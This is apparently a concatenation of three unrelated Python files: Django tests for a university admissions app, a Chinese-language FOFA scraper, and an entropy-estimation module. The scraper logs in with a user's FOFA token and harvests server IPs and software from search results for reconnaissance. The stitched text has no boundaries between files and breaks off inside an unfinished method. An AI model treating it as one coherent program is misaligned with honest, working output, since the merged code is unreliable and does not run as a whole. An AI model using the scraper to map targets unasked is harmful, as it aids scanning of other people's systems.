        self.assertTemplateUsed(response, 'continuing_education/admissions.html')
        self.assertEqual(len(response.context['admissions'].object_list), 2)

    def test_list_admissions_filtered_by_training_manager_with_no_admission(self):
        other_training_manager = ContinuingEducationTrainingManagerFactory()
        self.client.force_login(other_training_manager.person.user)
        url = reverse('admission')
        response = self.client.get(url)
        self.assertEqual(response.status_code, status.HTTP_200_OK)
        self.assertEqual(len(response.context['admissions'].object_list), 0)
        self.assertTemplateUsed(response, 'continuing_education/admissions.html')

    def test_list_admissions_filtered_by_training_manager_with_admission(self):
        training_manager = ContinuingEducationTrainingManagerFactory(training=self.formation)
        self.client.force_login(training_manager.person.user)
        url = reverse('admission')
        response = self.client.get(url)
        self.assertEqual(response.status_code, status.HTTP_200_OK)
        self.assertEqual(len(response.context['admissions'].object_list), 1)
        self.assertTemplateUsed(response, 'continuing_education/admissions.html')

    def test_list_admissions_pagination_empty_page(self):
        url = reverse('admission')
        response = self.client.get(url, {'page': 0})
        self.assertEqual(response.status_code, status.HTTP_200_OK)
        self.assertTemplateUsed(response, 'continuing_education/admissions.html')

    def test_admission_detail(self):
        url = reverse('admission_detail', args=[self.admission.id])
        response = self.client.get(url)
        self.assertEqual(response.status_code, status.HTTP_200_OK)
        self.assertTemplateUsed(response, 'continuing_education/admission_detail.html')

    def test_admission_detail_not_found(self):
        response = self.client.get(reverse('admission_detail', kwargs={
            'admission_id': 0,
        }))
        self.assertEqual(response.status_code, status.HTTP_404_NOT_FOUND)

    def test_admission_detail_access_denied(self):
        other_training_manager = ContinuingEducationTrainingManagerFactory()
        self.client.force_login(other_training_manager.person.user)
        url = reverse('admission_detail', args=[self.admission.id])
        response = self.client.get(url)
        self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN)
        self.assertTemplateUsed(response, 'access_denied.html')

    def test_admission_new(self):
        url = reverse('admission_new')
        response = self.client.get(url)
        self.assertEqual(response.status_code, status.HTTP_200_OK)
        self.assertTemplateUsed(response, 'continuing_education/admission_form.html')

    def test_admission_new_save(self):
        admission = model_to_dict(self.admission)
        admission.update(self.person_data)
        admission.update(self.continuing_education_person_data)
        admissions = Admission.objects.all()
        qs_to_find_new_admissions = Admission.objects.all()
        for a in admissions:
            qs_to_find_new_admissions = qs_to_find_new_admissions.exclude(pk=a.id)
        response = self.client.post(reverse('admission_new'), data=admission)
        created_admission = qs_to_find_new_admissions.first()
        self.assertEqual(response.status_code, status.HTTP_302_FOUND)
        self.assertRedirects(response, reverse('admission_detail', args=[created_admission.pk]))

    def test_admission_new_save_email(self):
        admission = model_to_dict(self.admission)
        admission.update(self.person_data)
        admission.update(self.continuing_education_person_data)
        admission.pop("person_information")
        new_admission_email = 'toto@uclouvain.be'
        admission['email'] = new_admission_email
        admissions = Admission.objects.all()
        qs_to_find_new_admissions = Admission.objects.all()
        for a in admissions:
            qs_to_find_new_admissions = qs_to_find_new_admissions.exclude(pk=a.id)
        self.client.post(reverse('admission_new'), data=admission)
        created_admission = qs_to_find_new_admissions.first()
        self.assertEqual(created_admission.person_information.person.email, new_admission_email)

    def test_admission_new_save_gender_required_if_new_person(self):
        admission = model_to_dict(self.admission)
        admission.update(self.person_data)
        admission.update(self.continuing_education_person_data)
        admission.pop("person_information")
        admission['gender'] = ""
        response = self.client.post(reverse('admission_new'), data=admission)
        self.assertEqual(response.status_code, status.HTTP_200_OK)
        self.assertTemplateUsed(response, 'continuing_education/admission_form.html')

    def test_admission_new_save_gender_not_required_if_existing_person(self):
        admission = model_to_dict(self.admission)
        admission.update(self.person_data)
        admission.update(self.continuing_education_person_data)
        admission['gender'] = ""
        admissions = Admission.objects.all()
        qs_to_find_new_admissions = Admission.objects.all()
        for a in admissions:
            qs_to_find_new_admissions = qs_to_find_new_admissions.exclude(pk=a.id)
        response = self.client.post(reverse('admission_new'), data=admission)
        created_admission = qs_to_find_new_admissions.first()
        self.assertEqual(response.status_code, status.HTTP_302_FOUND)
        self.assertRedirects(response, reverse('admission_detail', args=[created_admission.pk]))

    def test_admission_save_with_error(self):
        admission = model_to_dict(self.admission)
        admission['person_information'] = "no valid pk"
        response = self.client.post(reverse('admission_new'), data=admission)
        self.assertEqual(response.status_code, status.HTTP_200_OK)
        self.assertTemplateUsed(response, 'continuing_education/admission_form.html')

    def test_admission_edit_not_found(self):
        response = self.client.get(reverse('admission_edit', kwargs={
            'admission_id': 0,
        }))
        self.assertEqual(response.status_code, status.HTTP_404_NOT_FOUND)

    def test_edit_get_admission_found(self):
        url = reverse('admission_edit', args=[self.admission.id])
        response = self.client.get(url)
        self.assertEqual(response.status_code, status.HTTP_200_OK)
        self.assertTemplateUsed(response, 'continuing_education/admission_form.html')

    def test_edit_post_admission_found(self):
        admission = {
            'person_information': self.admission.person_information.pk,
            'motivation': 'abcd',
            'professional_personal_interests': 'abcd',
            'formation': self.formation.pk,
            'awareness_ucl_website': True,
            'academic_year': self.admission.academic_year.id,
        }
        data = admission.copy()
        # Data to update
        data_person_updated = self.person_data.copy()
        data_person_updated.update({'gender': 'F'})
        data.update(data_person_updated.copy())
        # Data to update
        data_person_information_updated = self.continuing_education_person_data
        data_person_information_updated.update({'birth_location': 'namur'})
        data.update(data_person_information_updated.copy())

        new_email = 'new_email@uclouvain.be'
        data.update({'email': new_email})

        person_objects_quantity = Person.objects.all().count()
        continuing_education_person_objects_quantity = ContinuingEducationPerson.objects.all().count()

        url = reverse('admission_edit', args=[self.admission.pk])
        response = self.client.post(url, data=data)
        self.assertRedirects(response, reverse('admission_detail', args=[self.admission.id]))
        self.admission.refresh_from_db()
        self.admission.person_information.refresh_from_db()
        self.admission.person_information.person.refresh_from_db()

        # verifying that fields are correctly updated
        self._check_update_correct(admission, self.admission)
        self._check_update_correct(data_person_updated, self.admission.person_information.person)
        self._check_update_correct(self.continuing_education_person_data, self.admission.person_information)

        # Email must be updated in admission object but not in existing person object
        self.assertEqual(self.admission.email, new_email)
        self.assertNotEqual(self.admission.person_information.person.email, new_email)

        # Assert that we did not create new person and continuing_education_person
        self.assertEqual(person_objects_quantity, Person.objects.all().count())
        self.assertEqual(continuing_education_person_objects_quantity, ContinuingEducationPerson.objects.all().count())

    def _check_update_correct(self, data, db_obj):
        for key in data:
            field_value = db_obj.__getattribute__(key)
            if isinstance(field_value, datetime.date):
                field_value = field_value.strftime('%Y-%m-%d')
            if isinstance(field_value, models.Model):
                field_value = field_value.pk
            self.assertEqual(field_value, data[key], key)

    def test_admission_list_unauthorized(self):
        unauthorized_user = User.objects.create_user('unauthorized', 'unauth@demo.org', 'passtest')
        self.client.force_login(unauthorized_user)
        url = reverse('admission')
        response = self.client.get(url)
        self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN)

    def test_admission_detail_unauthorized(self):
        unauthorized_user = User.objects.create_user('unauthorized', 'unauth@demo.org', 'passtest')
        self.client.force_login(unauthorized_user)
        url = reverse('admission_detail', kwargs={'admission_id': self.admission.pk})
        response = self.client.get(url)
        self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN)

    def test_admission_edit_unauthorized(self):
        unauthorized_user = User.objects.create_user('unauthorized', 'unauth@demo.org', 'passtest')
        self.client.force_login(unauthorized_user)
        url = reverse('admission_edit', kwargs={'admission_id': self.admission.pk})
        response = self.client.get(url)
        self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN)

    def test_admission_download_file(self):
        uploaded_file = SimpleUploadedFile(
            name='upload_test.pdf',
            content=str.encode('content'),
            content_type="application/pdf"
        )
        admission_file = AdmissionFileFactory(
            admission=self.admission,
            path=uploaded_file,
            uploaded_by=self.admission.person_information.person
        )
        url = reverse('download_file', kwargs={'admission_id': self.admission.pk, 'file_id': admission_file.pk})
        response = self.client.get(url)
        self.assertEqual(response.status_code, status.HTTP_200_OK)

    def test_list(self):
        response = self.client.post(reverse('admission'))
        self.assertEqual(response.status_code, 200)
        self.assertCountEqual(response.context['admissions'].object_list,
                              [self.admission, self.admission_no_admission_required])

    def test_get_versions(self):
        version_list = get_versions(self.admission)

        self.assertEqual(len(version_list), 0)
        i = 1
        for msg in VERSION_MESSAGES:
            save_and_create_revision(
                get_revision_messages({'icon': '', 'text': msg}),
                self.admission,
                self.training_manager.person.user
            )
            version_list = get_versions(self.admission)
            self.assertEqual(len(version_list), i)
            i += 1

    def test_ajax_get_formation_information(self):
        response = self.client.get(reverse('get_formation_information'), data={
            'formation_id': self.formation.pk
        }, HTTP_X_REQUESTED_WITH='XMLHttpRequest')
        self.assertEqual(response.status_code, 200)
        self.assertEqual(json.loads(response.content.decode('utf-8')),
                         {'additional_information_label': 'additional_information'}
                         )

    def test_error_message_no_draft_admission_selected(self):
        response = self.client.post(
            reverse('admission_delete_draft'),
            data={},
            follow=True,
            HTTP_REFERER=reverse('admission', args=[])
        )
        self.assertEqual(response.status_code, 200)

        msg = [m.message for m in get_messages(response.wsgi_request)]
        msg_level = [m.level for m in get_messages(response.wsgi_request)]
        self.assertEqual(len(msg), 1)
        self.assertIn(messages.ERROR, msg_level)
        self.assertEqual(msg[0], _("Please select at least one admission in 'draft' status"))

    def test_draft_deleted(self):
        draf_admission = AdmissionFactory(
            state=DRAFT,
            archived=False
        )
        self.assertTrue(Admission.objects.filter(id=draf_admission.id).exists())
        response = self.client.post(
            reverse('admission_delete_draft'),
            data={'selected_draft_action': draf_admission.id},
        )
        self.assertFalse(Admission.objects.filter(id=draf_admission.id).exists())

class InvoiceNotificationEmailTestCase(TestCase):
    @classmethod
    def setUpTestData(cls):
        cls.academic_year = create_current_academic_year()
        cls.education_group = EducationGroupFactory()
        EducationGroupYearFactory(
            education_group=cls.education_group,
            academic_year=cls.academic_year
        )
        cls.formation = ContinuingEducationTrainingFactory(
            education_group=cls.education_group
        )

        cls.manager = ContinuingEducationManagerFactory()

        cls.admission = AdmissionFactory(
            formation=cls.formation,
            state=ACCEPTED
        )
        cls.admission_file = AdmissionFileFactory(
            admission=cls.admission
        )

        cls.url = reverse('send_invoice_notification_mail', args=[cls.admission.pk])

    def setUp(self):
        self.client.force_login(self.manager.person.user)

    @patch('continuing_education.business.admission.send_email')
    def test_send_mail_with_invoice(self, mock_send_mail):
        self.admission_file.file_category = file_category_choices.INVOICE
        self.admission_file.save()

        response = self.client.get(self.url)

        self.assertRedirects(response, reverse('admission_detail', args=[self.admission.id]) + '#documents')
        messages_list = [str(msg) for msg in list(messages.get_messages(response.wsgi_request))]
        self.assertEqual(response.status_code, 302)
        self.assertIn(
            gettext(_("A notification email has been sent to the participant")),
            messages_list
        )
        self.assertTrue(mock_send_mail.called)

    @patch('continuing_education.business.admission.send_email')
    def test_send_mail_without_invoice(self, mock_send_mail):
        self.admission_file.file_category = file_category_choices.DOCUMENT
        self.admission_file.save()

        response = self.client.get(self.url)

        self.assertRedirects(response, reverse('admission_detail', args=[self.admission.id]) + '#documents')
        messages_list = [str(msg) for msg in list(messages.get_messages(response.wsgi_request))]
        self.assertEqual(response.status_code, 302)
        self.assertIn(
            gettext(_("There is no invoice for this admission, notification email not sent")),
            messages_list
        )
        self.assertNotIn(
            gettext(_("A notification email has been sent to the participant")),
            messages_list
        )
        self.assertFalse(mock_send_mail.called)

class AdmissionStateChangedTestCase(TestCase):
    @classmethod
    def setUpTestData(cls):
        cls.academic_year = create_current_academic_year()
        cls.education_group = EducationGroupFactory()
        education_group_year = EducationGroupYearFactory(
            education_group=cls.education_group,
            academic_year=cls.academic_year
        )
        cls.formation = ContinuingEducationTrainingFactory(
            education_group=cls.education_group
        )
        cls.manager = ContinuingEducationManagerFactory()
        EntityVersionFactory(
            entity=education_group_year.management_entity
        )
        cls.admission = AdmissionFactory(
            academic_year=cls.academic_year,
            formation=cls.formation,
            state=random.choice(admission_state_choices.STATE_CHOICES)[0]
        )
        cls.admission_submitted = AdmissionFactory(
            academic_year=cls.academic_year,
            formation=cls.formation,
            state=SUBMITTED
        )

    def setUp(self):
        self.client.force_login(self.manager.person.user)

    @patch('continuing_education.views.admission.send_admission_to_queue')
    @patch('continuing_education.business.admission._get_continuing_education_managers')
    @patch('osis_common.messaging.send_message.send_messages')
    def test_admission_detail_edit_state(self, mock_send, mock_managers, mock_queue):
        states = NEW_ADMIN_STATE[self.admission.state]['states'].copy()
        if self.admission.state == admission_state_choices.SUBMITTED:
            states.remove(DRAFT)
        if self.admission.state in states:
            states.remove(self.admission.state)
        new_state = random.choice(states)
        admission = {
            'state': new_state,
            'formation': self.formation.pk,
            'person_information': self.admission.person_information.pk,
            'email': 'test@gmail.com'
        }
        data = admission
        if new_state == REJECTED:
            data['rejected_reason'] = DONT_MEET_ADMISSION_REQUIREMENTS
        url = reverse('admission_detail', args=[self.admission.pk])
        response = self.client.post(url, data=data)
        self.assertRedirects(response, reverse(admission_detail, args=[self.admission.pk]))
        self.admission.refresh_from_db()
        self.assertEqual(self.admission.state, admission['state'], 'state')
        if self.admission.state == admission_state_choices.VALIDATED:
            self.assertTrue(mock_queue.called)

    @mock.patch('continuing_education.business.admission.send_email')
    def test_admission_detail_edit_state_to_draft(self, mock_send_email):
        admission_draft = {
            'formation': self.formation.pk,
            'state': DRAFT,
            'person_information': self.admission.person_information.pk,
            'email': 'test@gmail.com'
        }
        url = reverse('admission_detail', args=[self.admission_submitted.pk])
        response = self.client.post(url, data=admission_draft)
        self.assertRedirects(response, url)
        self.admission_submitted.refresh_from_db()
        self.assertEqual(self.admission_submitted.state, DRAFT, 'state')

        self.assertTrue(mock_send_email.called)
        mock_call_args = mock_send_email.call_args[1]
        self.assertEqual(
            mock_call_args.get('template_references').get('html'),
            'iufc_participant_state_changed_other_html'
        )
        receivers = mock_call_args.get('receivers')
        self.assertCountEqual(
            [receiver.get('receiver_email') for receiver in receivers],
            [self.admission_submitted.email, self.admission_submitted.person_information.person.email]
        )

class ViewAdmissionCacheTestCase(TestCase):
    @classmethod
    def setUpTestData(cls):

        cls.manager = ContinuingEducationManagerFactory()
        cls.academic_year = AcademicYearFactory(current=True)

    def setUp(self):
        self.client.force_login(self.manager.person.user)
        self.addCleanup(cache.clear)

    def test_cached_filters(self):
        response = self.client.get(reverse('admission'), data={
            'free_text': 'test'
        })
        cached_response = self.client.get(reverse('admission'))
        self.assertEqual(response.wsgi_request.GET['free_text'], cached_response.wsgi_request.GET['free_text'])

class BillingEditTestCase(TestCase):
    @classmethod
    def setUpTestData(cls):
        cls.academic_year = create_current_academic_year()
        cls.education_group = EducationGroupFactory()
        EducationGroupYearFactory(
            education_group=cls.education_group,
            academic_year=cls.academic_year
        )
        cls.formation = ContinuingEducationTrainingFactory(
            education_group=cls.education_group,
            registration_required=False
        )
        cls.manager = ContinuingEducationManagerFactory()
        cls.student_worker = PersonWithPermissionsFactory('view_admission', groups=[STUDENT_WORKERS_GROUP])
        EntityVersionFactory(
            entity=cls.formation.management_entity
        )
        a_person_information = ContinuingEducationPersonFactory(person__gender='H')
        cls.admission = AdmissionFactory(
            formation=cls.formation,
            state=SUBMITTED,
            person_information=a_person_information,
        )

    def setUp(self):
        self.client.force_login(self.manager.person.user)

    def test_billing_edit(self):
        url = reverse('billing_edit', args=[self.admission.id])
        response = self.client.get(url)
        self.assertEqual(response.status_code, status.HTTP_200_OK)
        self.assertTemplateUsed(response, 'continuing_education/admission_billing_form.html')

    def test_billing_edit_not_found(self):
        response = self.client.get(reverse('billing_edit', kwargs={
            'admission_id': 0,
        }))
        self.assertEqual(response.status_code, status.HTTP_404_NOT_FOUND)

    def test_billing_edit_access_denied_for_student_worker(self):
        self.client.force_login(self.student_worker.user)
        url = reverse('billing_edit', args=[self.admission.id])
        response = self.client.get(url)
        self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN)
        self.assertTemplateUsed(response, 'access_denied.html')

    def test_billing_edit_access_denied_if_draft(self):
        self.admission.state = DRAFT
        self.admission.save()
        url = reverse('billing_edit', args=[self.admission.id])
        response = self.client.get(url)
        self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN)
        self.assertTemplateUsed(response, 'access_denied.html')

    def test_billing_edit_access_denied_if_registration_required(self):
        self.admission.formation.registration_required = True
        self.admission.formation.save()
        url = reverse('billing_edit', args=[self.admission.id])
        response = self.client.get(url)
        self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN)
        self.assertTemplateUsed(response, 'access_denied.html')

    def test_billing_edit_post_admission_found(self):
        billing_info = {
            'billing_address': self.admission.address.pk,
            'registration_type': 'PRIVATE',
            'head_office_name': 'HEAD_OFF_NAME',
            'company_number': 'COMP_NUM',
            'vat_number': 'VAT_NUM',
            'use_address_for_billing': True
        }
        data = billing_info.copy()

        url = reverse('billing_edit', args=[self.admission.pk])
        response = self.client.post(url, data=data)
        self.assertRedirects(response, reverse('admission_detail', args=[self.admission.id]) + '#billing')
        self.admission.refresh_from_db()
        self.assertEqual(self.admission.registration_type, billing_info['registration_type'])
        self.assertEqual(self.admission.head_office_name, billing_info['head_office_name'])
        self.assertEqual(self.admission.company_number, billing_info['company_number'])
        self.assertEqual(self.admission.vat_number, billing_info['vat_number'])
        self.assertEqual(self.admission.use_address_for_billing, billing_info['use_address_for_billing'])


import  requests
from lxml import etree
import base64
import time

# 如果搜索结果多执行
def Multiple(Judge_page,coding,headers,Cookie,speed):
    print("搜索结果有" + Judge_page + "页")
    for all in range(1,int(Judge_page)):
        time.sleep(speed)
        print("现在提取是第"+str(all)+"页")
        html = requests.get('https://fofa.so/result?qbase64=' + coding+"&page="+str(all), headers=headers,cookies=Cookie)
        html = etree.HTML(html.text)
        divs = html.xpath(r'//span/a/@href')  # 语法
        for i in divs:
            print(i)

def interface():##界面
    print("---------------------------------------------------")
    print("\t _________ ____     __        __        \t\t")
    print("\t|__  / ___/ ___|   / _| ___  / _| __ _  \t\t")
    print("\t  / /\___ \___ \  | |_ / _ \| |_ / _` | \t\t")
    print("\t / /_ ___) |__) | |  _| (_) |  _| (_| | \t\t")
    print("\t/____|____/____/  |_|  \___/|_|  \__,_| \t\t\n\n")
    print("*fofa信息收集探测工具")
    print("*扫描速度快对方可能会屏蔽IP的")
    print("---------------------------------------------------")

interface()##界面

Cookie=input("Fofa登录后的值Cookie的fofa_token值：")
speed=int(input("请输入扫描速度："))
#base64编码
z=input("请输入要搜索的关键字：")
coding=base64.b64encode(z.encode('utf-8')).decode("utf-8")

Cookie= {'fofa_token': Cookie}
headers = {
            "user-agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36"
}

print("你输入的是"+z)
html=requests.get("https://fofa.so/result?qbase64="+str(coding),headers)
html=etree.HTML(html.text)
try:

    Judge_page=divs=html.xpath(r'//ul[@class="el-pager"]/li[last()]/text()')  # 查看是否有页数

    if Judge_page: # 如果搜索结果多进行循环一个一个页面的读取
        Multiple(Judge_page[0],coding,headers,Cookie,speed)
    else:
        print("搜索结果就一页！")
        divs = html.xpath(r'//span[@class="aSpan"]//@href')  # 探测IP
        service = html.xpath(r'//p[@class="listSpanCont"]/a/text()')  # 用的服务器软件

        order=0
        for i in divs:
            print("服务器IP地址是" + str(i)+"服务器软件"+service[order])
            order += 1

except Exception as bc:

    print("出差了："+str(bc))


# -*- coding: utf-8 -*-
"""
Created on Mon Oct 14 00:42:08 2019

@author: Martin Kamp Dalgaard
"""

import numpy as np
import pandas as pd
from scipy.interpolate import InterpolatedUnivariateSpline
import scipy.special as scp_sp
from scipy import stats
from sklearn.linear_model import LinearRegression
import pickle

class entropy:
    def __init__(self, X=None, k=4, dim=(1000,4), estimator="KL",
                 order=5, mode="AR", nodes=None):
        self.X = X
        self.k = k
        self.dim = dim
        self.order = order
        self.mode = mode
        self.nodes = nodes
        if estimator == "B":
            self.estimator = self.B_estimator
        elif estimator == "KL":
            self.estimator = self.KL_estimator
        elif estimator == "Mu":
            self.estimator = self.Mu_estimator
        else:
            raise(NotImplementedError("Please choose B or KL for " \
                                      "the estimators that currently " \
                                      "have been implemented."))

    # Synthetic data
    def dataframe(self, X):
        col = [str(i) for i in range(1, np.shape(X)[1]+1)]
        df = pd.DataFrame(X, columns=col)
        return(df)

    def generate_data(self, a=0, b=5):
        n, d = self.dim
        if self.mode == "AR":
            X = self.AR_data()
        elif self.mode == "Gaussian":
            # Sigma is assumed to be the identity matrix
            X = np.random.multivariate_normal(np.zeros(n), np.eye(n), size=d)
            X = X.T
            self.ana_val = n/2*(np.log(2*np.pi) + 1)
        elif self.mode == "Uniform":
            X = np.random.uniform(low=a, high=b, size=self.dim)
            self.ana_val = np.log(np.prod(abs(a-b)))
        else:
            print("Unknown mode for data generation.")
            return(None)
        return(X)

    def AR_data(self, p1=[0.05,-0.05], p2=[0.3,0.4],
                p3=[0.8,0.06,0.2], p4=[0.2,0.3,0.05]):
        n, d = self.dim
        LP = n//5
        p11, p12 = p1
        p21, p22 = p2
        p31, p32, p33 = p3
        p41, p42, p43 = p4
        X = np.zeros(shape=(n,4))
        W = np.random.normal(size=(n,4))
        X[:2,:] = W[:2,:]
        for t in range(2, n):
            X[t,0] = p11*X[t-1,0] - p12*X[t-2,0] + W[t,0]
            X[t,1] = p21*X[t-1,0] + p22*X[t-1,2] + W[t,1]
            X[t,2] = p31*X[t-1,0]**2 + p32*X[t-1,1] + p33*X[t-1,2] + W[t,2]
            X[t,3] = p41*X[t-1,0] + p42*X[t-1,2] + p43*X[t-1,3] + W[t,3]
        X = X[LP:,:]
        return(X)

    # Estimators
    def estimator_setup(self, X, norm=None):
        if type(X) == np.float64:
            n = 1
            d = 1
        else:
            try:
                n, d = np.shape(X)
            except:
                n = np.shape(X)[0]
                d = 1
        V_1 = np.pi**(d/2)/scp_sp.gamma(1 + d/2)
        if n < self.k:
            k = n-1
        else:
            k = self.k
        distances = np.zeros(n)
        for i in range(n):
            if d > 1:
                distance = np.sort(np.linalg.norm(X[i,:] - X, axis=1, ord=norm))
            else:
                distance = np.sort(np.abs(X[i] - X), axis=0)
            try:
                distances[i] = distance[k]
            except:
                distances[i] = 0
        return(n, d, k, V_1, distances)

    def B_estimator(self, X):
        n, d, k, V_1, distances = self.estimator_setup(X)
        T = np.zeros(n)
        if n > 1:
            for i in range(n):
                T[i] = np.log((n/k)*V_1*(distances[i]**d))
        else:
            T[0] = np.log(V_1)
        H_B = (1/n)*np.sum(T)
        return(H_B)

    def S_estimator(self, X):
        n, d, k, V_1, distances = self.estimator_setup(X)
        if n > 1:
            H_S = (d/n)*np.sum(np.log(distances)) + np.log(V_1) \
                                            + np.log(n) - scp_sp.digamma(k)
        else:
            H_S = np.log(V_1)
        return(H_S)

    def KL_estimator(self, X):
        n, d, k, V_1, distances = self.estimator_setup(X)
        if n > 1:
            H_KL = (d/n)*np.sum(np.log(distances)) + np.log(V_1) \
                                + scp_sp.digamma(n) - scp_sp.digamma(k)
        else:
            H_KL = np.log(V_1)
        return(H_KL)

    def Mu_estimator(self, X):
        n, d, k, V_1, distances = self.estimator_setup(X)
        v = uniform_grid(d, n)
        if n > 1:
            H_Mu = (d/n)*np.sum(np.log(distances)) + np.log(V_1) + v
        else:
            H_Mu = np.log(V_1)
        return(H_Mu)

    def compute_errors(self, N):
        abs_err = np.zeros(N)
        rel_err = np.zeros(N)
        H = np.zeros(N)
        for i in range(N):
            X = self.generate_data()
            H[i] = self.estimator(X)
            abs_err[i] = abs(self.ana_val - H[i])
            try:
                rel_err[i] = abs(self.ana_val - H[i])/self.ana_val
            except:
                rel_err[i] = "error"
            if (i+1) % (N/10) == 0:
                print("- Iteration %d of %d done." %(i+1, N))
        return({"Analytic value": self.ana_val,
                "Estimates": H,
                "Absolute errors": abs_err,
                "Mean absolute error": np.mean(abs_err),
                "Relative errors": rel_err,
                "Mean relative error": np.mean(rel_err)})

    def compute_ccdi(self, X):
        # Computes I(X^n --> Y^n || Z^n)
        # X initially needs to be a dataframe
        # in order to easily switch the columns
        if not isinstance(X, pd.DataFrame):
            X = self.dataframe(X)

        nodes = self.nodes

        # Switching the columns' order to X, Y, Z
        l = nodes["X"] + nodes["Y"] + nodes["Z"]
        X = X[l]

        # We change X to a matrix
        X = X.values
        n, d = np.shape(X)
        X_new = np.zeros((self.order, n, d))

        # Creating lagged version of the variables
        # E.g.: np.allclose(X_new[2][5:], X[2:-3])
        for i in range(self.order):
            for j in range(self.order, n):
                X_new[i,j,:] = X[j-i-1,:]

        # We need the columns with Y and Z
        dn = l.index(nodes["X"][-1]) + 1
        f_ind = l.index(nodes["Y"][0])
        X_final = X_new[0,:,f_ind:]

        for i in range(1, self.order):
            X_res = np.reshape(X_new[i,:,f_ind:], (n,d-dn))
            # Note: iteratively concatenating with itself
            X_final = np.concatenate((X_final, X_res), axis=1)

        # Concatening according to Payam's mail
        joint1 = np.concatenate((np.reshape(X[:,1], (n,1)), X_final), axis=1)
        joint2 = X_final
        joint3 = np.concatenate((np.reshape(X[:,0], (n,1)),
                                 np.reshape(X[:,1], (n,1)), X_final), axis=1)
        joint4 = np.concatenate((np.reshape(X[:,0], (n,1)), X_final), axis=1)

        H1 = self.estimator(joint1[self.order:,])
        H2 = self.estimator(joint2[self.order:,])
        H3 = self.estimator(joint3[self.order:,])
        H4 = self.estimator(joint4[self.order:,])

        return(H1 - H2 - H3 + H4)

    def __call__(self, synthetic_data={"Generate": False, "Errors": False,
                                       "Return data": False, "N": 10},
                 compute_entropy=False, compute_ccdi=True):
        generate_data, r_errors, r_data, N = list(synthetic_data.values())
        return_package = {}
        if generate_data:
            X = self.generate_data()
            if r_errors:
                return_package["Errors"] = self.compute_errors(N)
            if compute_ccdi:
                if self.nodes == None or not all(self.nodes.values()):
                    self.nodes = {"X": ["1"], "Y": ["2"], "Z": ["3", "4"]}
                return_package["CCDI"] = self.compute_ccdi(X)
            if r_data:
                return_package["Data"] = X
            if compute_entropy:
                return_package["H"] = self.estimator(X)
            return(return_package)
        else:
            assert(isinstance(self.X, pd.DataFrame))
            assert(isinstance(self.nodes["X"], list))
            assert(isinstance(self.nodes["Y"], list))
            if compute_ccdi == True:
                if self.nodes["Z"] == None:
                    # Setting Z equal to all other nodes
                    l = self.nodes["X"] + self.nodes["Y"]
                    self.nodes["Z"] = [x for x in self.X.keys() if x not in l]
                return(self.compute_ccdi(self.X))
            else:
                print("If data is not generated, the CCDI should be computed.")

class Integral:
    def __init__(self, d_values, n_values, mode="Gaussian", test_num=1000,
                 bins=30, save_dicts=False, return_dicts=False):
        self.d_values = d_values
        self.n_values = n_values
        self.mode = mode
        self.test_num = test_num
        self.bins = bins
        self.save_dicts = save_dicts
        self.return_dicts = return_dicts

    def find_center(self, X):
        c = np.mean(X, axis=0)
        m = np.argmin(np.linalg.norm(X - c, axis=1, ord=None))
        return(X[m])

    def compute_range(self, ent):
        m1 = np.zeros(100)
        m2 = np.zeros(100)
        for i in range(100):
            X = ent.generate_data()
            c = np.mean(X, axis=0)
            m1[i] = np.min(np.linalg.norm(X - c, axis=1, ord=None))
            m2[i] = np.max(np.linalg.norm(X - c, axis=1, ord=None))
        return(np.min(m1), np.max(m2))

    def cfF(self):
        x_dict = {}
        f_dict = {}
        F_dict = {}
        proc = len(self.d_values)
        iters = 0

        for d in self.d_values:
            x_dict[str(d)] = {}
            f_dict[str(d)] = {}
            F_dict[str(d)] = {}

            for n in self.n_values:
                print("Testing d = %d, n = %d." %(d, n))
                ent = entropy(dim=(n, d), mode=self.mode)
                m1, m2 = self.compute_range(ent)

                x_dict[str(d)][str(n)] = np.linspace(0.9*m1, 1.1*m2, n)
                f_dict[str(d)][str(n)] = np.zeros((self.test_num, n))
                F_dict[str(d)][str(n)] = np.zeros((self.test_num, n))

                for t in range(self.test_num):
                    X = ent.generate_data()
                    x1 = self.find_center(X)
                    dist = np.sort(np.linalg.norm(X - x1, axis=1, ord=None))
                    f_dict[str(d)][str(n)][t,:] = dist

                    for i in range(n):
                        count = len(X[dist < x_dict[str(d)][str(n)][i]])
                        F_dict[str(d)][str(n)][t,i] = count/n
                    if (t+1) % (self.test_num/2) == 0:
                        print("- Test %d of %d done." %(t+1, self.test_num))
            iters += 1
            print("- Process: {:.2%} done.".format(iters/proc))
            if self.save_dicts:
                save_results(x_dict, "/ch3/x_%s" %self.mode)
                save_results(f_dict, "/ch3/f_dens_%s" %self.mode)
                save_results(F_dict, "/ch3/F_%s" %self.mode)
        for key1 in F_dict.keys():
            for key2 in F_dict[key1].keys():
                F_dict[key1][key2] = (np.mean(F_dict[key1][key2], axis=0),
                                      np.var(F_dict[key1][key2], axis=0))
                f_dict[key1][key2] = (np.mean(f_dict[key1][key2], axis=0),
                                      np.var(f_dict[key1][key2], axis=0))

        return(x_dict, f_dict, F_dict)

    def compute_integral(self, x_dict, f_dict, F_dict):
        f_h = {}
        F_ly = {}
        f_y = {}
        product = {}
        int_dict = {}

        for key1 in F_dict.keys():
            f_h[key1] = {}
            F_ly[key1] = {}
            f_y[key1] = {}
            product[key1] = {}
            int_dict[key1] = {}

            for key2 in F_dict[key1].keys():
                f_h[key1][key2] = np.histogram(f_dict[key1][key2][0],
                                               density=True, bins=self.bins)

                F_ly[key1][key2] = np.log(F_dict[key1][key2][0])
                F_ly[key1][key2][(F_ly[key1][key2]==-np.inf)] = 0

                freq, bins = f_h[key1][key2][0], f_h[key1][key2][1]
                freq = np.concatenate((np.array([0]), freq))
                f_y[key1][key2] = np.interp(x_dict[key1][key2], bins, freq)

                product[key1][key2] = f_y[key1][key2]*F_ly[key1][key2]

                I = InterpolatedUnivariateSpline(x_dict[key1][key2],
                                                 product[key1][key2])
                int_dict[key1][key2] = I.integral(0, np.max(x_dict[key1][key2]))

        idxs = self.d_values
        cols = self.n_values
        df = pd.DataFrame(np.zeros((len(idxs), len(cols))),
                          index=idxs, columns=cols)
        for idx in df.index:
            df.loc[idx] = int_dict[str(idx)].values()

        return(df)

    def __call__(self):
